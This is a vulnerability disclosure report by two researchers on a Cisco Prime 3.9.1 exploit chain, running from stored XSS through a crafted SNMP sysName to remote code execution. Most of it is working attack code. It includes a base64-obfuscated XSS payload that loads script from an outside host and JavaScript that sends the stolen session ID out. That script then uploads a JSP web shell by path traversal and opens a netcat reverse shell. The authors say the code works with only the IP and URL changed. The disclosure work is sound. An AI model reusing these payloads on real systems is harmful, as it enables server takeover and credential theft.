This report documents the vulnerabilities we found in Cisco Prime, version 3.9.1. Each of these vulnerabilities is not critical, but by chaining them together we managed to achieve remote code execution on the Cisco Prime appliance.
In short, we had a malicious system on the network that replies to SNMP queries. By carefully crafting the sysName data, we managed to trigger a Cross Site Scripting in the Prime Management interface, after the administrator did a SNMP based discovery on the network.
The XSS is used to download a malicious Javascript from our attack server. This malicious Javascript will run in the session of the administrator, upload a JSP based reverse shell to Tomcat and then run this shell to give us access to the Cisco Prime appliance.
We could bypass the upload restrictions because the upload of malicious files to the Prime server is checked in the web UI, not on the server. A path traversal vulnerability enabled us to upload our reverse shell anywhere on the filesystem where the Prime server has permissions to write, and by placing the reverse shell in the webroot, we were able to run it locally in Tomcat.
We have also created a POC video showing the process from XSS to RCE:
Improper validation of strings from discovered SNMP devices, makes the application prone to stored XXS attacks.
Placing a XSS payload in the sysName-field reflects it onto the application, triggers the exploitation. Alternatively or in addition to; the payload can also be a HTML tag, pointing to a SMB resource, leaking the logged on Windows-user’s netNTLM hash
Exposed Javascript function “wap.csrf_token”,makes it possible to collect CSRF-Token in XSS and use it in requests.
No control of filetype, makes it possible to upload jsp-files. Exploiting the Syslog-script upload. Even if the “Enable ‘Run Script’ policy action” under: “Administration / Settings / System Settings / Alarms and Events / Syslog Policies” is unticked, because that only enables or disables the option in the UI, it does nothing to the function itself.
Path traversal vulnerability in the upload function, allows uploading files to any writable path as user “Prime”. Using this, jsp-files can be placed in webroot.
SessionID is also stored in browsers “LocalStorage”, so even if Session-Cookie is “HTML- Only”, it can be exfiltrated using XSS.
Having control over the CSRF-Token, an attacker can now use CSRF against any function on the application.
A nix computer placed on a subnet accessible from the server for discovery, you edit the SNMPd.conf, adding the payload
cat /etc/snmp/snmpd.conf
#################################################################### #######
#
# snmpd.conf
# An example configuration file for configuring the Net-SNMP agent ('snmpd')
# See snmpd.conf(5) man page for details
# #################################################################### #######
# #
SECTION: System Information Setup
syslocation: The [typically physical] location of the system.
Note that setting this value here means that when trying to
perform an snmp SET operation to the sysLocation.0 variable will
#
#
#
make
# the agent return the "notWritable" error code. IE, including
# this token in the snmpd.conf file will disable write access to
# the variable.
# arguments: location_string
sysName <img id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0d HBzOi8vZjIwLmJlL3guanMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7Cg src=x onerror=eval(atob(this.id))>Evil-Device
sysLocation Somewhere Over The Rainbow
sysContact Me
Here the payload is placed in the sysName field, slightly obfuscated using base64 to bypass filtering:
<img
id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0d
HBzOi8vZjIwLmJlL3guanMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7Cg
src=x onerror=eval(atob(this.id))>
This is the base64 encoded string:
var a=document.createElement("script");a.src="https://f20.be/x.js";document.body.appendChild(a);
To replicate, replace url and base64-encode it again. Remember to host the payload on a webserver with a valid certificate over SSL. On the server interface, do a discovery using SNMP on the subnet where the “Evil device” is located.
A SNMP discovery has to be run.
After a scan is run, we can see our XSS payload as a missing image icon in the results
This payload is now stored in the application and will run an external javascript when triggered/loaded. In the POC, we use the following script. This should also work for you without changing other than the revshell variables and exfilurl
//getting CSRF-Token from exposed javascript function
var csrf_token = wap.csrf_token;
//stealing session ID from local storage
var session = localStorage.getItem('PREF_SESSION_ID');
var exfilurl = 'https://f20.be/'
var vhost = window.location.protocol+'\/\/'+window.location.host
//revshell setup
var ip = "192.168.16.251"
var port = 4444
//exfiltrating sessionID
fetch(exfilurl+session)
//Uploading webshell, exploiting path traversal
fetch(vhost+'/webacs/policyFiles/scripts?maxFileSize=20',{
method: 'POST',
headers: {
'Connection': 'close',
'Content-Length': '988',
'sec-ch-ua': '"Chromium";v="92", " Not A;Brand";v="99",
"Microsoft Edge";v="92"',
'sec-ch-ua-mobile': '?0',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.51',
'Content-Type': 'multipart/form-data; boundary=----
WebKitFormBoundaryIYmBAK88f0XA7Q7s',
'Accept': '*/*',
'Origin': vhost,
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Dest': 'empty',
'Referer':
vhost+'/webacs/loginAction.do?action=login&product=wcs&selectedCat
egory=en',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'nb,no;q=0.9,en;q=0.8,en-GB;q=0.7,en-
US;q=0.6,sv;q=0.5,fr;q=0.4'
},
credentials: 'include',
body: '------
WebKitFormBoundaryIYmBAK88f0XA7Q7s\x0d\x0aContent-Disposition: form-data; name="uploadedfiles[]"; filename="../../../../../../../../../opt/CSCOlumos/apache-tomcat- 9.0.39/webapps/webacs/shell.jsp"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a<%@page import="java.lang.*"%>\x0a<%@page import="java.util.*"%>\x0a<%@page import="java.io.*"%>\x0a<%@page import="java.net.*"%>\x0a\x0a<%\x0aString getcmd = request.getParameter("cmd");\x0aif (getcmd != null) {\x0a //out.println("Command: " + getcmd + "<br>");\x0a String[] cmd = {"/bin/sh", "-c", getcmd};\x0a Process p = Runtime.getRuntime().exec(cmd);\x0a OutputStream os = p.getOutputStream();\x0a InputStream in = p.getInputStream();\x0a DataInputStream dis = new DataInputStream(in);\x0a String disr = dis.readLine();\x0a //out.println("<pre>"); \x0a while ( disr != null ) {\x0a out.println(disr); \x0a disr = dis.readLine(); \x0a }\x0a //out.println("</pre>"); \x0a}\x0a%>\x0a\x0d\x0a------ WebKitFormBoundaryIYmBAK88f0XA7Q7s\x0d\x0aContent-Disposition: form-data; name="csrf_token"\x0d\x0a\x0d\x0a'+csrf_token+'\x0d\x0a------ WebKitFormBoundaryIYmBAK88f0XA7Q7s--\x0d\x0a'
});
//Executing Revshell
fetch(vhost+'/webacs/shell.jsp?cmd=nc%20'+ip+'%20'+port+'%20%2de%2
0%2fbin%2fbash');
This javascript, will chain all the other vulnerabilities.
We would like to thank Cisco for working with us on mitigating these vulnerabilities.
As always, keep your patches up and stay safe,
Andreas Finstad (@4nqr34z) and Arthur Donkers (@theart42)